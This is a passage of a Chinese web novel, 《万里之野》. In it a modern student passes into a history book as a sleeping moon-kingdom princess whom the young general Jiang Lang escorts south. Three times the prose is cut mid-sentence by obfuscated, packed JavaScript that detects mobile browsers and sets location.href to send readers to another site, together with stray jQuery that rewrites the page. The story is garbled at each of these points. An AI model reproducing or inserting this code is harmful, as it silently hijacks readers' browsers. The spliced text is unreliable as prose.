《万里之野》 1. 桃面 小皇帝召见江琅。 殿堂内,小皇帝背着手,来回踱步,难掩心中的激动。看见江琅到来,他兴奋不已,迫不及待地向江琅宣布了一个好消息。 “找到救公主的办法了!” 江琅心惊。一阵穿堂风起,一叶铜钱大小的银杏残叶从他肩头飘飞,落到远处的地面上。他抬头,询问道,“是何办法?” 小皇帝走来,指了指案上放置的物品,“你看。” 江琅顺势看去。 案上放置的是一枚青白玉,色泽通透晶莹,清晰可见玉中的淡雅纹路,是质量极佳的上等品。青白玉有掌心一半的大小,精致圆润。其被雕刻成了桃花的模样,唯妙唯俏,充满春意盎然的气息。 小皇帝介绍道,“月照古国昨日来一青鸟,交予朕这一枚玉佩,名为桃面符。” 小皇帝顿了顿,继续说道,“据青鸟所捎的信件来看,这桃面符世上仅此一对,一枚在此处,另一枚在公主身上。” 他边说边回忆着,似乎从未见月照公主佩戴过所谓桃面符模样的青白玉。不过他与公主的见面次数屈指可数,观察有遗漏也在所难免。 他告诉江琅,“此桃面符便为拯救公主的关键。你看青白玉的背面,是否有一处极其细微的凹处?” 江琅调转了桃面符,看向背面。 “桃面符为月照古国的灵玉,只是一直处于沉睡的状态,若不能唤醒其灵魄,那将看似与普通青白玉并无差别。”小皇帝拿起了案上的一支雕刻金笔,“唤醒灵魄的方法很简单,只需夫妻二人在这凹处刻下各自的名字,以此订立桃面契约。” 江琅愣在了原地。 小皇帝知道江琅心中的忧虑,宽慰道,“你与月照公主二人虽未正式结为夫妻,但一直有婚约在身,这在月照古国的习俗里,公主亦算出嫁。只要出嫁,便为外人,公主这辈子就算是跟了你了,算作是你的妻子。所以你只管放心刻下名字,拯救公主。” 江琅小心翼翼地询问道,“怎么救?” “桃面符的灵魄将会附入公主体内,祛除公主身上的疾病,让公主恢复为正常健康的状态。只是……”小皇帝轻叹一声,“只是这灵魄并不是能够永续维持的,需要你完成一件事情。” 江琅静默等待着小皇帝的话。 小皇帝解释道,“一年之内,你要护送公主,一路南下,前行万里路途,直至到达月影湖边。湖边仅有一个码头,届时一位渔翁将在码头处接应,你只需将公主交与渔翁即可。” 小皇帝顿了下,继续道,“明年,景和四年,也为月照百年。待到中秋,满月之时,月亮映于湖心,才可打开外人通往月照古国的通道。这是唯一能够打开通道的时刻。所以你务必要把握住这百年一遇的机会,切莫耽搁月映湖心的这一时刻,不然……” 小皇帝的眼神混杂着担忧与暗淡,“不然,公主将无法回到月照古国,桃面符的灵魄也将随之消散,公主……恐怕会就此离世。” 江琅低声喃喃,“臣明白了。” “当然,公主能够成功回到月照古国,那便是再好不过的事,起码生命有了保障。但……你不得不面对一个事实。”小皇帝低头沉吟,再抬起头来,告诉江琅。 “公主唯有在月照古国生活,才能维系生命。这就意味着,你与公主将夫妻分别,永世不能相见。” 小皇帝伸出手,手心里躺着那一支雕刻金笔,他再一次向江琅确认,“你愿意吗?” 江琅缓了缓,抬起手来,从小皇帝的手心里拿过了那一支金笔,给出了答复。 “我愿意。” *** 鹰扬府内,下人忙碌不已,整理明日启程所需的行李。 江琅在府中查看整理的进展,路过月照轩时,他略作停顿,转身走了进去。 屋里弥漫着一丝中草药与熏香混杂的气息,是属于月照轩的独特的味道。侍女们平日里一般不会开窗通风,怕凉风会灌进来,带来风寒。连门也是虚掩着的,只留了一道细小的缝隙,漏进一道雪白的阳光。 江琅跨上石阶,轻轻推开了门。 云霁正在替任月语擦拭小臂,将之前敷于皮肤上的棕色药液清洗干净。见江琅进门,云霁急忙站起来,退到一旁,含首作揖行礼,“将军。” 江琅稍一摆手,示意云霁无需多礼。他走到了床边,静默站立。 任月语仍旧躺在床上,紧闭双眼,无声无息。阳光照射得她皮肤白皙通透,骨骼精致小巧,似是画中之人,虚无缥缈,并不真实存在于这世上。 江琅询问云霁,“公主的情况可有改变?” 云霁恭敬回答,“照我朝医术来判定,暂且并无改变。” 江琅喃喃,“你是宫里最好的医女,对此当真毫无办法?” 云霁将头埋得更低了一些,她虽从小跟随姜医官学习医术,熟读医经,钻研药草,但对于自身医术,还是有清晰的认知,“臣女毕竟年纪尚轻,能力与经验总远不及姜医官。” 云霁没有明说,但江琅已知悉她话里的意思。 姜医官为景朝医术顶尖之人,妙手回春的例子数不胜数,似乎能拯救任何病患,被世人尊称为神医——可就算是这神医,在面对任月语时,仍旧束手无策。翻遍医经,试遍百草,动遍针灸,能试的法子都试了,能做的努力都做了,偏偏就是看不见一点起色。 任月语似乎永远处于沉睡状态。 姜医官都救不回的人,何况她的徒弟云霁。她们唯一能做的,是让任月语能够维持现状,得以凭借一口气保住性命。 江琅看着任月语沉睡的脸庞,轻声叹息,“她的沉睡症,有多久了?” 本是一句自顾自的感慨,云霁却误以为江琅是在询问她,便答道,“两年有余。” 江琅神情恍惚。任月语于癸卯事变前夕来到景朝,至今不过也三年时间,怎么光是沉睡不醒的状态,就持续了两年有余。 江琅自言自语,“还要睡多久呢?” 云霁回答不上,江琅也回答不上,他们都清楚这是一个未知的命题。仿佛是被一种神秘力量压制着,他们试图抗争,却看不见一点胜利的希望。 江琅握紧了拳头,随后又松开。他问云霁,“皇上交办的事情,办好没有?” 云霁答复,“已办妥。” 云霁去到床沿,掀开任月语身上的轻纱外袍一角,从腰际间取下桃面符,双手呈于江琅,“这是从公主随身的紫檀木箱中找到的玉佩,正如皇上所言,青白玉雕刻为桃花状,背面刻有公主的名字。” 江琅拿过桃面符,翻至背面,抚摸着凹处的“任月语”三个字。他再从自身腰间摘下桃面符,并排放置在手心中,细细观看。 江琅和任月语,签订桃面契约的象征。 一切按照月照青鸟所传达的要求办理。 江琅问道,“桃面符在公主身上佩戴了多久?” 云霁估算,“一个时辰左右。” 江琅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可月影湖仿若一只巨大无比的手,把他们牢牢掌控,游刃有余。所有武器与士兵,一旦进入月影湖,都会被柔软温吞的湖水吞噬绞杀,武器被毁坏,士兵被抹去生命。而一切都进行得如此不动声色。直到最后,湖水将所有兵器残骸与士兵尸体推向湖边,把所有原本不属于月影湖的异物排除得一干二净。 湖面依旧风平浪静。 那些气势昂扬的进攻似乎只是泡沫而已,一戳就破的一场幻梦。 世人才真正感到了害怕,震惊不已。他们传言月影湖是能吞噬一切的上古妖兽,魔力无穷,没有人能够成为月影湖的对手,没有人能够将其击败。 月照古国正是这上古妖兽的主人。 若非他们愿意,没有人能够得以接近。 而这一次,对于任月语患病一事,因皇上考量利弊,景朝并未向月照古国求助。并且按照习俗,任月语可算作已经出嫁,踏出国门,身份转变,不再受月照古国的照拂。可月照古国却主动派出青鸟带来消息,主动提供帮助。所以江琅揣摩,月照决定出手,十之八九不会有错。 江琅把桃面符握于手心,“解铃还须系铃人。既然景朝医术无法攻克难关,那不如就按青鸟指示,试试月照医术。” 云霁遵从江琅的意愿,“将军说得是。” 江琅佩戴好自己的桃面符,再将任月语的桃面符交予云霁,让云霁为任月语重新戴上,并叮嘱道,“你与素雅一道守候在公主身边,直至明日启程。在这期间,若公主的状况有任何改变,切记及时向我汇报。” 云霁立于窗前,窗棂的影子在她身上勾勒几笔线条。她弯腰躬身,行礼应答着。 “请将军放心。” 2. 信件 任月语最大的爱好,不是追剧,不是逛街,不是打游戏,而是研究一本历史书,名为《景和通史》。 追究得再具体一点,任月语感兴趣的是《景和通史》中涉及的一个人物,名为江琅。 江琅,字子枢,景朝名将,号称贪狼将军。其兵法灵巧,骁勇善战,十五岁封鹰扬侯,十七岁率军大破塞北匈奴与西北羌戎,破格加封一品官爵,任都督一职。十八岁受其父贪污灭族案牵连,险些丧命。后遇癸卯事变三子夺嫡,协助六皇子左琮阳顺利登基,开启景和元年,在新朝保留鹰扬侯名号。同年,率军赢得塞北之战的胜利,创造归雁神话,却并未因此获得景和帝的重用。后逐渐淡出军事领域,且不再参与朝政,常年独居于鹰扬府中,无妻妾无子女,于景和四年病逝,年仅二十二岁。 《景和通史》中对于江琅的描述,只有这寥寥几笔,却为任月语勾画出了这位少年将军波澜壮阔的一生,叫她痴迷不已。 她痴迷到什么程度呢?连着三天晚上睡觉时,轻声念出口的梦话都是同一句。 “江琅,我想回家,我想回鹰扬府。” 张涵与任月语同住一个宿舍,天天听到任月语的梦话,着实烦闷不已。 她半夜特意靠近任月语的床铺,把任月语的梦话录下来,等到隔天早晨刷牙时,凑到任月语跟前放给她听,“你听听看,你走火入魔到了什么程度!” 任月语听得仔细,却没听懂其中的含义,“什么意思?我为什么会说这样的话?” 张涵翻白眼,“我怎么知道?问你家江琅去!” 任月语倒有些害羞了,“我家江琅……在书里,他不会说话。” 她漱干净口中的泡沫,抹一把嘴唇,甩一下水,再洗干净脸。收拾完毕后,她走到书桌旁,准备拿面包和牛奶。 张涵跟在她身后。 她伸出手时,手背上残留的水不慎滴落到了书本的表面,她急忙用袖口轻柔地擦去水滴。 张涵看不过眼,一把抓过书本,高举到空中。 任月语惊慌,“你小心点!别弄坏了!” 张涵咂舌,“看你那没出息的样!不就一个纸片人嘛,至于吗?” 任月语试图争抢书本,“他不是纸片人,他是真实存在的历史人物!” 张涵心想,那不就是纸片人么?她故意踮脚,把书本举得更高了一些,“得,那我把他说得更高级一点,他就是个二维生物。” 任月语担惊受怕,安抚张涵的情绪,“这样,你先把书放下,我们再来谈论他到底是不是一个二维生物。” 她们莫名营造出了一种嫌疑人要撕票,警察赶来谈判的紧迫场面。 张涵冷笑一声,“好,就让我来给你掰扯掰扯。” 她把书放到了桌面上,翻开书签夹杂的那一页,指着那些快被任月语看出茧子的文字,“任小姐,你好好看清楚这个二维生物,说得好听一点,他是个将军,说得真实一点,他就是个不受重视的弃子,等于是被皇帝打入了冷宫。” 任月语辩解,“你也看见了,书上说他兵法灵活骁勇善战,这就证明他能力很强。不是他不行,是皇帝不让他有用武之地,所以这就是皇帝的问题。” 张涵倒吸一口气,“拜托,大小姐,还皇帝有问题?明明是江琅家里人问题更大好吧?他爸可是犯了重大贪污案,这搁那个朝代是要诛九族的!人皇帝还好心留了他一条命。” 任月语义正言辞,“历史都是由胜利者书写的,它并不能代表全部的真相,这背后定有隐情。” 张涵撇嘴,“喔唷,你知道有?” 任月语胸有成竹,“我就知道,它肯定有,绝对有。” 张涵气得跺脚,“没救了你!干脆穿进你的二维世界里去吧!” 她觉得和任月语是完全说不通道理的,任月语认定的事,九头牛都拉不回来。她不想再当那九头牛了,就让任月语自生自灭好了。她抱着气象学的教材,气鼓鼓地打开门,迈步走了出去。 留下任月语独自在宿舍里。 任月语不疾不徐地坐下来,抚平书页的褶皱,抚摸那一段关于江琅的历史。 历史可真残酷呐,少年将军波澜壮阔的一生,最终只能幻化成客观冰冷的一段文字,连肖像都不给他留下哪怕半幅。 他会是什么样子的呢?会是高大挺拔、眉眼凌厉、意气风发的少年郎吗? 不知道,不清楚,不确定。 但她总是忍不住要在脑海里描绘他的模样。仿佛前世和他有羁绊似的,她总是会想起他。 如果有机会的话,她真想亲眼见见他。 *** 中秋佳节,室友全都回家团聚了,宿舍里又是只剩下了任月语孤独一人。 其实之前有两个人曾经向任月语发出过邀请。 一个是张涵。 张涵知道任月语家里情况特殊,说直白一点是没有了家人,她特别不忍心抛下任月语,邀请任月语和她一同回家过中秋,“走呀,我们出去吃火锅,怎么样?吃火锅赏满月,多浪漫?” 任月语婉拒了张涵,“我就不去影响你们家庭团圆了。” 张涵赌气,“你就是嫌我家在郊区,不愿意去呗。” 任月语捏着张涵气鼓鼓的脸颊,假装用力,“你再给我扣帽子?捏扁你。” 张涵笑着躲开,“好吧,不勉强你,知道你这种宅女喜欢独处。”她叮嘱任月语,“那我给你带月饼,你要乖乖等我回来。” 任月语当时答应得乖巧,“嗯。” 她目送张涵走出宿舍楼,在楼上遥遥挥手告别,随后回到房间内,感受四周逐渐弥漫的寂寥孤独气氛,觉得惬意放松。 偏偏手机铃声猝不及防地响起来,搅动着满屋的寂静。 任月语拿起手机,看见是学长的来电时,心里堵了一口气。她咬着下唇,调整情绪,礼貌客气地接通了电话。 不出所料,学长来电的目的,是邀请任月语一起过中秋。 “可以一起吃饭吗?”学长小心翼翼地询问,“你想吃什么,我们就去吃什么。” 任月语耷拉着肩膀,感到压力好大。她真的不想答应他,但无奈的是,她欠了他一个人情。 那本《景和通史》,就是他送给她的。 他知道她虽然是一个应用气象专业的学生,但平日里喜欢看一些历史书籍,而他恰巧读的就是历史系。他为了投其所好,搜罗了好些历史书来送给她,囊括了中华上下五千年的历史,其中就包括了《景和通史》。 她收到礼物后满心欢喜,他看见她快乐的模样顿感欣慰。 然而人情就这么欠下了。 她曾经尝试过还人情,回送给他一些小礼物,诸如曲奇饼干无线耳机之类的东西。 她把这些当作是人情礼节的表示,他却误以为这是男女之间的暧昧推拉,代表着他能够再向前迈一步。 他开始约她单独外出,吃饭看电影,像所有情侣一样。 她有一次迫于压力,答应了和他的约会。她后来回想起那一天的约会,能够感受到的只有一个词语,那就是抗拒。 她抗拒和他一起吃饭,抗拒他厚出花纹的眼镜和杂乱的头发,抗拒听他努力讲一些她完全不感兴趣的学术事情,抗拒看他谈论他的梦想的模样,抗拒和他吃同一桶爆米花,抗拒他的悄悄靠近,抗拒他的所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195689|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切。 她不喜欢他,她和他约会就像是在受罪。 张涵旁观了他们拉扯的全过程,想不明白任月语为什么会不喜欢学长,“他到底哪里不好?对你温柔体贴,有求必应,情有独钟,别无二心。” 任月语感慨,“你会的成语还挺多。” 张涵追着任月语喋喋不休,“我是说真的,他人真的挺好的。他虽然是个书呆子,但他是个富二代。他虽然平时不修边幅,但他底子看得出来挺不错。他虽然直男得堪比钢铁,但他老实。” 任月语质问张涵,“你这是在夸他吗?” 张涵反问,“我这不就是在夸他吗?” 张涵声情并茂,继续苦口婆心劝导任月语,“听我的,跟了学长绝对不会吃亏。我看人很准的,学长这人绝对前途似锦,拥有光明的未来。” 任月语摆摆手,“他光不光明全都无所谓了,不是他的问题,是我的问题。” 任月语清楚地明白,即便她再怎么加油努力,她也没办法喜欢上他,没办法喜欢上其他任何其他的对象。 因为她心里有人,那个人叫做江琅。 这一次,她为了江琅,终于鼓足勇气,对着电话那头轻声说道,“学长,对不起,我……我不想出去吃饭,我就想一个人呆着。” 学长沉默了两秒,听得见微弱的喘气声音。他是书呆子,但他不是傻子,他明白任月语话里的意思。他的眼神暗淡,但口中说出的话仍旧温柔,“我放了一盒月饼在你们楼下宿管阿姨那里,你记得去拿。这种月饼保质期很短的,你一定要尽快拿走,不然……不要浪费粮食,拜托了。” 任月语犹豫徘徊,可实在狠不下心,于是答应道,“好的,谢谢学长。” 她挂断了电话,如释重负。又惦记着学长最后的话,她想了想,换好了鞋,径直走去了一楼。 宿管阿姨正在边嗑瓜子边追剧,津津有味。发现任月语到来,她放下了瓜子壳,从桌下搬出了东西,“你的,一盒月饼一个快递,快来拿走。” 任月语看着桌上的东西,疑惑不解。月饼她知道是学长留下的,那快递又是谁留下的?她已经有小半个月没上网买东西了,她按理来说不应该有快递的。再说即便有快递,也应放在校门的集中收发点,自己去拿,一般不会主动送到宿舍楼下。 她询问道,“阿姨,这都是谁拿来的?” 阿姨重新嗑上了瓜子,“月饼是历史系的那谁拿来的。至于快递嘛,我还真不知道,我刚低头,就看见它已经在这儿了。是不是哪个同学去校门口拿快递,顺便帮你拿了?你问问看。” 任月语抱起了快递盒子,“好的。” 她心绪不宁。回到宿舍后,她第一时间开始研究快递盒子。上面写着收件人,是她没错,可没有写明寄件人,也没有标志出是哪家快递公司。她好奇不已,迫不及待地打开了纸盒,发现了里头装着的一个紫檀木箱。 她打开了紫檀木箱,看见了一个玉佩,一支雕刻金笔,一封信。 她略有些心慌,借着台灯的明亮白光,阅读了整封信的内容,越读越震惊,直至读完了最后一个字。 她脑海变得一片空白了,无力地靠在椅背上,惊讶得连呼吸都快要忘记。 隔了一阵,她眨两下眼睛,揉了揉脸颊,强行让自己回过神来,坐直了身子。 随后,她拿起了雕刻金笔,在桃面符背面的凹处,毫不犹豫地刻下了自己的名字。 不管信中的内容到底是真是假,她都愿意冒险尝试。 她要按照信中所说的去做,只要能够见到江琅。 无论面对什么样的结局,她都会义无反顾地奔向他。 3. 早安 辰时,启程,踏上去往南方的万里路途。 马车行于道路中央,江琅骑马行于马车旁,保持着若即若离的间距。 早些时候,江琅听云霁汇报过任月语的动态。 任月语一直保持着沉睡的姿态,像一株植物那般静默,直至到了丑时,云霁意外发现任月语的指尖动了动,那动静转瞬即逝。云霁当是深更半夜里自己太困看花了眼,使劲揉搓眼睛,努力保持清醒。间隔一阵,任月语的指尖又再一次地动了下,和刚才一模一样。 云霁心惊,以为事情有了转机。 她耐着性子多等了一阵,等来的只有任月语循环往复的动作,指尖动一下,消停,再动一下,极具规律。除此之外,任月语的状态没有更多的进展。 到了今日早晨,云霁察觉任月语的呼吸似乎变得沉重了一些,她有意贴近了去确认,当真发现了任月语的胸腔起伏较之前更为明显,仿若从一尊雕塑逐渐变化为了真人。 云霁耐心记录下了观测到的状况,并向江琅客观如实地做了汇报。 江琅叮嘱云霁和素雅,“你们与公主同坐一辆马车,随时照顾公主。” 江琅转而再嘱咐孙一堂和孙一正两兄弟,“你们驾马车力求平稳,一定避免路途颠簸。” 四人皆是顺从应答,“谨遵将军嘱咐。” 江琅虽然将一切安排周全,但为了稳妥起见,他仍然一路陪伴在马车左右。 行路中途,任月语终于醒来。她发现自己正躺在马车里,身下垫着柔软的绸被。她眨了下眼睛,慢慢坐了起来,看见有两个女生并排坐在她的不远处,肩膀挨着肩膀,脑袋靠着脑袋,安静地闭眼歇息,似是过于劳累。 她不知道她们守候了她整整一天一夜,实在是困倦难捱。 她缓了缓,意图让悬浮在半空的思绪落地回归,好厘清当前所面临的状况。她想起了刚才收到的那封信件,按信上所说的内容,如果没有猜错的话,她应该正被江琅带着去往月照古国。 对的,江琅。 任月语小心翼翼凑到了窗边,撩起帷帐,看向窗外。窗外正有一人,骑马与马车并行。那人察觉到异样,侧头,看向了她。 她听见了清晰的心跳声音。 说来也奇怪,书里并没有他的画像,也没有关于他外貌的文字表述,他的外在形象近乎空白,可是只此一眼,她的心里甚至不带犹豫,明确地知道了答案。 他是江琅。 他的面庞比现象当中还要俊朗一些,鼻梁高挺,棱角锋利,再加上穿着盔甲,更是自带一种杀气。身型颀长,但没有想象当中那样强壮,是属于精壮有力的那一类。 历史书中的少年将军。 她看得入迷,嘴角不由自主地向上扬起,冲他微笑,“早安。” 他愣了下,思索着这个不常听见的词语,与晨安同种意义。他便也向她点头致意,“早安。” 他说罢,神情有些恍惚。 三年前,任月语进宫,先帝特为举行盛大典礼,以表对月照古国的热忱。江琅当时作为官员,站在百官之中,只遥遥见过任月语一眼,对她留下的印象是柔弱文静,知书达理,犹如诗词中描写的女子,形象美好。 只是她于他而言,过于遥远。 盛典结束,进入皇室的内部晚宴,先帝破例安排江琅参与其中,且让江琅坐于众皇子之后,浸润在一片谈笑声中。 江琅与任月语之间的距离变得近了一些。 任月语几乎不说话,除非迫不得已的时候,才会给出一两句简短的答复。除此之外,她一直保持着礼貌得体的笑容,给人一种看似和善实则疏离的感觉,并不叫人亲近。 江琅所坐的位置有些远,加上殿内歌舞升平,他根本听不清他们的交谈。唯有一次,在乐曲暂且停歇的间隙里,江琅听见了他们的声音。 那是六皇子在主动寒暄,“公主,来平京后可还习惯?” 任月语客套回应,“殿下,叫我小语便是。” 任月语说罢轻轻抬头,视线偶然越过了六皇子的身影,径直看向远处的江琅,并短暂地停留了一阵。 江琅理应按礼节向任月语微微行礼的,可不知怎么,他莫名愣住了,内心充满疑惑。 他觉得她的眼神空洞异常,竟不像一个活生生的真人。 从那以后,任月语在江琅心中便刻下了一个深刻的印记——似魔似仙,总之不属于凡胎。 这样的印象维持了整整三年。 可就在方才,任月语撩开帷帐后,冲他微笑,对他说早安,他竟觉得她忽然之间变得灵巧生动,仿佛从远古飘渺的一缕幻影,踏过千山万水来到这里,成为了清晰真实的存在。 怪异的感觉。 他想到任月语大病初愈,试图探看她的身体状况,奈何车窗太小,他无法看清全貌,便询问道,“公主,是否一切都好?” 她被他关心,又与他对视,心里小鹿乱撞,脸颊有些红润,稍微害羞地点头应允道,“一切都好。” 她与他的交谈其实挺礼貌客套,平淡和谐。可周遭的人却逐渐开始蠢蠢欲动,难掩兴奋。有两个同样骑马的人凑到了江琅身后,鬼鬼祟祟地偷瞄任月语。有另一个骑马的人原本走在队伍前方,此刻也故意调头回到江琅身旁,伸长脖子打量任月语。 任月语被几个大男人这般观摩着,浑身不自在,局促窘迫。 江琅训斥周围的人,“不得无礼!” 一群人闻令挪开了视线,悻悻然四散开来,回到了原位。 江琅面向任月语,换做了柔和的语气,“抱歉打扰到公主,公主还请多加休息。” 任月语抿嘴,瓮声应道,“嗯。” 她放下了帷帐,转回身子,端正坐好。再抬头时,发现车内的两个女生紧贴车壁,瞪大了眼睛,直愣愣地盯着她看,像看一个怪物。 她干笑了一下,主动打了一声招呼,“你们好呀。” 两个女生立即变得恭敬谦卑,颔首作揖,“奴婢见过公主。” 任月语急忙纠正,“不用奴婢来奴婢去的。”她身体稍向前倾,询问道,“请问你们怎么称呼?” 一个女生回答,“奴婢是您的贴身侍女,您唤我素雅即可。” 另一个女生答复,“奴婢为您的专属医女,名为云霁。” 任月语在心里复述了一遍她们的回答,左边这个脸颊肉嘟嘟的叫做素雅,右边这个稍显冷清的叫做云霁。 她有心记下了她们的名字。 *** 队伍前行到午时末,到达平京郊县的一处集市。 江琅按照贺伯的提议,在集市巷尾的一家酒楼停歇,准备用午餐。 队伍的午餐分为两桌,江琅陪同任月语单独坐一桌,其余人合并坐另一桌。 任月语因为穿书过来,劳心劳力,肚子确实挺饿。她熬到饭菜上齐,拿起了筷子,首先夹起了一块烤鸭肉。然而烤鸭肉还没能够顺利送回碗里,她无意间瞄了一眼,竟发现远处有两个身着青衣的人正盯着她,旁边来往的食客也盯着她,就连邻桌的队友们也全都直勾勾地盯着她,像盯一件稀罕的珍宝。她被盯得头皮发麻,烤鸭肉也不敢夹了,谨慎地缩回了手,不敢轻举妄动。 她压低了声音,暗地询问江琅,“他们这样盯着我,到底想要干什么?” 江琅叮嘱邻桌的人遵守礼仪,再把刚才那块细嫩的烤鸭肉夹到了任月语的碗里,斟酌用词向任月语解释,“他们……第一次见着会动的月照人。” 江琅这话说得不自在,索性转移话题,另拿一只空碗,替任月语盛了一碗乌骨鸡汤,“先吃饭吧。” 任月语接过了鸡汤,捧着碗沿,借着日光照耀,在汤汁表层看见了自己若隐若现的模样,不禁暗自感慨,“实不相瞒,我也是第一次见着会动的月照人。” 她按照信中所说,成为月照公主,不过也才一个上午而已。他们不适应,她也不适应,还得慢慢调整心态。 她突发奇想,询问江琅道,“你也是第一次见着会动的月照人吗?” 江琅替任月语斟一杯清茶,“之前在皇室晚宴上,我们见过面的,可能公主对我没有什么印象。” 任月语立即反驳,“不可能!” 她以为她要是真见过江琅,肯定第一眼就刻下烙印,念念不忘。可她转而一想,什么皇室晚宴,那应该是她穿书之前的事情。江琅当时所看见的那个任月语,只不过是一个还未被激活的人偶罢了。而那个时间段所发生的事情,对现在的任月语来说,完全是一段空白历史,她自然不会留下印象。这样想着,她开始低头啃鸭肉,不再提及这件事情,怕多说多错。 江琅也不再接着这个话头往下聊。他替任月语夹白肉胡饼,极尽地主之谊,“菜还合胃口吗?你有什么需要的,吩咐便是,我派人去做。” 任月语咬着白肉胡饼,“合胃口的,好吃。” 江琅便道,“好吃就多吃一些,要吃饱,吃饱了我们继续赶路。” 任月语咽下了胡饼,问道,“下午还要走?我们的行程很着急吗?” 江琅把木筷靠在碗沿,“倒是不着急的。” 他们的行程和着急这个词语完全扯不上关系。从平京到月照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195690|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若是快马加鞭,只用一个月的时间就能到达。他们如今把一个月的行程延伸到了一年来完成,不过是为了完成小皇帝的嘱托。 “公主来到景国,先遇朝廷动荡,后又患病沉睡不起,简直是白白浪费了三年。”小皇帝为此深感愧疚,并安排江琅弥补他的愧疚,“你们用一年时间,从平京到月照,沿途莫着急,记得带公主散心游玩,让她好生欣赏景朝的大好河山,也算不辜负我们的待客之道。” 江琅作为臣子,一切安排要按照小皇帝的意图来进行。他答复任月语,“公主要是想在此处游玩几日,我便派人去附近寻觅一处景色更好的地方,换一家更为舒适的酒楼。” 任月语解释,“我不是想要游玩,我是看这天快要下大雨了,不好走路的,还不如在这里住一晚再走。” 江琅向窗外探看,阳光正耀眼,“这样的天会下雨?” 任月语专心啃着鸭腿,“嗯,还会下得久,估计得下到七八点……我是说,下到戌时。” 她咽下了鸭肉,冲江琅干笑一下,心想江琅应该不会在意她的用词有些现代吧。 江琅对她回以微笑,不再言语,心想她这番关于下雨的言论,到底是信口胡诌贪图好玩,还是她真有掌握天文气象的能力。 他没点破,只顾顺从任月语的意思,安排队伍就在酒楼休憩一晚,明日再出发。 *** 未时末,晴天突变,天降大雨,一直持续到戌时。 孙一堂和孙一正两兄弟并排靠在酒楼的正门两边,观赏密集雨帘,像是在下一场连续不断的银针,晶莹剔透,在地面溅起炮仗似的水花,一朵接一朵相继爆炸开来。 孙一堂抱着双臂,“这天可真是说变就变,一点不留情面呐。” 孙一正连连哀叹,“你没发现么?今年的天气异常得很,跟着了魔一样。” 孙一堂附和,“可不么!今年夏季,平京多缺雨啊,整个一大片的闹旱灾,结果江南一带呢,却是雨水连连,洪涝漫天,两个地方都民不聊生。” 孙一正立即瞪眼,低声呵斥,“别说民什么聊什么生这种话!” 孙一堂马上抿紧了嘴唇,把嘴巴守得牢牢的,避免再多蹦出一个字。 夜风侵袭,夹带着雨水与泥土的气息,伴随一丝寒凉,兄弟俩不禁缩了下身子,手掌摩挲双臂。 三三两两夜行的旅客从雨中奔跑而来,溅起一滩雨水。兄弟俩默契地让到一旁,给旅客腾出通道。侧身时,他们才发现站于后方不远处的江琅,也不知他站了多久。 兄弟俩急忙行礼,“将军,这么晚还不歇息?” 江琅背着手,观察雨帘,片刻后说道,“快了,你们也早些歇息,明日继续前行。” 江琅转身,走上了二楼。他有意看了任月语的房间一眼,见里头烛火通明。他想了想,多踏了两步,走到了任月语的房间前,轻轻敲响了门。 任月语打开门,见到江琅,不禁露出笑脸,“你找我?什么事?” 江琅顿了顿,询问道,“你懂占候?”* 任月语坦率地点头应道,“嗯。” 她回答完之后,等了短暂的一阵,不见江琅有下一步的问话。她倒反而好奇了,上前一步凑到江琅身前,仰头微笑,“大晚上的敲我的门,就为了问这个?不说一点其他的话?” 江琅变得有些局促,身体紧绷,稍向后仰,不敢太过于靠近任月语。 他本就是一位常年征战沙场的将士,来往的都是血性方刚的男儿,除却家中亲属与侍女外,他几乎没有与其他女子有过交谈,更别说是这样一位凑到跟前来的娇俏女子。 他不知该作何反应,开口竟变得结巴,“还……还要说什么?” 任月语觉得他这模样挺有趣,笑道,“还要说,晚安。” 江琅暗自清了清嗓,重复任月语的问候,礼貌道,“晚安。” 他主动后退了一步,与任月语道别,直至等到任月语重新关上了房门。他随后往回走,余光无意间瞄见了回廊另一侧的两个青衣人,心生警惕。 那两个青衣人见状,即刻撇开了视线,佯装互相攀谈着,若无其事走回了房间。 江琅在原地静默思索着,转而去到另一个房间里,唤来了程恒。 他向程恒交代,“去查查西侧两个青衣人的身份。” 程恒抱拳,“是。” 程恒正欲离开,江琅实在放心不下,再次补充嘱咐道,“今晚让素雅守在公主床边,你守在公主房间门口,切莫出任何差错。” 程恒将江琅的话牢记在心,应答道,“遵命。” 4. 乌龟 庆幸的是,这一夜相安无事。 第二日早晨,队伍按计划收拾行囊,在酒楼马厩旁集合。 店小二思虑到他们是朝廷的人,因此极尽热情,笑脸相迎,“几位官爷,昨日休息得可好?这就要走了?我们东家还想留官爷们多玩几天。” 江琅听着“官爷”这个词语感觉刺耳,似乎是在提醒他不得不更谨慎。 那两个青衣人结伴从楼上走下来,走到马厩,未带行囊,比其余住店的旅客显得轻松。他们若无其事从队伍之中走过,眼神飘忽不定,偶尔会落到江琅与任月语的身上,只一瞬间,又看向脚下的路,跨出了酒楼。 店小二对他们也是热情洋溢,送到门外高声呼喊,“两位爷,有空再来啊!” 